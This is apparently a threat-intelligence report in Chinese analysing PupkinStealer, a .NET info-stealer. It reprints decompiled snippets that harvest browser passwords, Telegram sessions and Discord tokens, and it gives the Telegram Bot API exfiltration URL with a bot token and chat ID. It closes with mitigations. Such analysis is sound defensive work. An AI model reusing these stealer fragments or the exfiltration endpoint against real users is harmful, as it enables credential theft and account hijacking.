
1. 簡介
PupkinStealer 於 2025 年 4 月首次被觀察到,是一個輕量但高效的基於 .NET 的資訊竊取程式,目標為敏感使用者資料,如瀏覽器認證、Telegram/Discord session、桌面檔案及螢幕截圖。與進階竊取程式不同,它優先考慮快速執行而非持久性或規避檢測,依賴非同步任務及 Telegram 的 Bot API 進行隱秘的資料外洩。本報告分析其技術架構、資料竊取機制及運作流程,重點探討其模組化設計及加密實作。

2. 技術架構與執行流程
2.1 檔案結構與混淆
PupkinStealer 是一個 32 位元 .NET 可執行檔案(SHA-256:
9309003c245f94ba4ee52098dadbaa0d0a4d83b423d76c1bfc082a1c29e0b95f
),編譯為 AnyCPU 架構,支援 x86/x64 系統相容性。儘管
.text
區段因使用 Costura.Fody(嵌入壓縮 DLL 的工具)而具有高熵值(7.998),該惡意軟體未採用傳統的混淆或封裝技術,因此可透過工具如 dnSpy 輕易反編譯。
2.2 Main() 方法與非同步任務協調
惡意軟體的入口點
Main()
啟動並行任務以最大化效率:
- private static void Main(string[] args) {
- Task[] tasks = {
- Task.Run(() => Chromium.ChromiumPasswords.DecryptingBrowsersPasswords()),
- Task.Run(() => Desktop.GrabberDesktop()),
- Task.Run(() => Telegram.GrabberTelegramSession()),
- Task.Run(() => Discord.GrabberDiscordToken()),
- Task.Run(() => Screenshot.GrabberScreenshot())
- };
- Task.WaitAll(tasks);
- DataDispatch.ZipCompression();
- DataDispatch.Dispatch(Variables.ID);
- }
此結構確保資料收集模組並行執行,縮短檢測窗口。
3. 資料竊取機制
3.1 基於 Chromium 的瀏覽器認證提取
ChromiumPasswords
類別針對 Chrome、Edge、Opera 及 Vivaldi 進行以下操作:
-
定位登入資料檔案
:檢查 SQLite 資料庫(例如
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
)。 -
解密主金鑰
:從
Local State
檔案中提取 base64 編碼的encrypted_key
,並使用ProtectedData.Unprotect
(Windows DPAPI)進行解密。 -
AES-GCM 解密
:對於使用 Chromium "v10" 方法加密的密碼,
FunctionsForDecrypt
提取 nonce(IV)、salt 及 ciphertext,然後使用衍生金鑰進行 AES-GCM 解密。
程式碼片段:解密流程
- public static string Decrypt(byte[] salt, byte[] key, byte[] iv) {
- using (AesGcm aesGcm = new AesGcm(key)) {
- byte[] decryptedBytes = new byte[ciphertext.Length];
- aesGcm.Decrypt(iv, ciphertext, tag, decryptedBytes);
- return Encoding.UTF8.GetString(decryptedBytes);
- }
- }
3.2 Telegram 與 Discord Session 劫持
-
Telegram
:將
tdata
資料夾(包含 session 檔案,如map1
)複製至%Temp%\[username]\Telegram
,無需認證即可實現帳號冒充。 -
Discord
:掃描
leveldb
儲存空間,使用正則表達式模式(例如[A-Za-z0-9]{24}\.[A-Za-z0-9]{6}\.[A-Za-z0-9_-]{27}
)提取 token,繞過應用程式綁定加密。
3.3 桌面檔案收集與螢幕截圖擷取
GrabberDesktop
方法依檔案副檔名(
.pdf
、
.txt
、
.jpg
等)篩選檔案,並複製至
%Temp%\[username]\DesktopFiles
。使用
System.Drawing.Graphics.CopyFromScreen()
以 1920×1080 解析度擷取螢幕截圖,儲存為
desktop.jpg
。
4. 透過 Telegram Bot API 進行資料外洩
所有竊取的資料被壓縮為 ZIP 檔案(
[Username]@ardent.zip
),使用 CP866 編碼及最高壓縮等級(等級 9)。檔案透過對 Telegram bot(
botkanalchik_bot
)的 HTTP POST Request 傳輸:
https://api.telegram.org/bot[BotToken]/sendDocument?chat_id=7613862165&caption=[Username]|[IP]|[SID]
bot token(
8013735771:AAE_UrTgQsAmiAsXeDN6mehD_fo3vEg-kCM
)及俄語 metadata("куплю рамоны за 2 к")顯示與俄語操作者別名 "Ardent" 的關聯。
5. 反分析與操作限制
PupkinStealer 缺乏進階的反除錯或持久性機制,而是依賴:
-
程序終止
:透過
Process.Kill()
終止瀏覽器程序(例如chrome.exe
)以解鎖Login Data
檔案。 - 低調執行 :避免修改登錄檔或排程任務,減少數位足跡。
6. 緩解策略
- 認證管理 :對重要帳號強制使用密碼管理器及多因素驗證(MFA)。
-
網路監控
:封鎖對 Telegram API 端點(例如
api.telegram.org
)的外部流量。 -
端點保護
:部署使用行為分析的檢測,針對未經使用者互動存取
Login Data
或leveldb
的程序。 - 使用者培訓 :教育使用者認識釣魚風險及未經授權的軟體下載。
7. 結論
PupkinStealer 代表了在惡意軟體即服務(MaaS)生態系統中蓬勃發展的低複雜度、模組化竊取程式的趨勢。其專注於資料收集及使用 Telegram 做為外洩方式,凸顯網路犯罪分子日益依賴合法平台來保持匿名。雖然缺乏複雜性,但其在認證竊取及 session 劫持方面的效率帶來顯著風險,需採取積極的防禦策略。
參考資料
- PupkinStealer: A .NET-Based Info-Stealer - CYFIRMA
- PupkinStealer Analysis - Muff-in Blog
- PupkinStealer Technical Breakdown - GBHackers
- Info Stealers Trends - Red Canary
- Infostealer Malware Overview - Wikipedia
- PupkinStealer IOCs - Rewterz
- PupkinStealer Exfiltration Details - Cybersecurity News
- BlackGuard Analysis - Zscaler
- CYFIRMA Attribution Report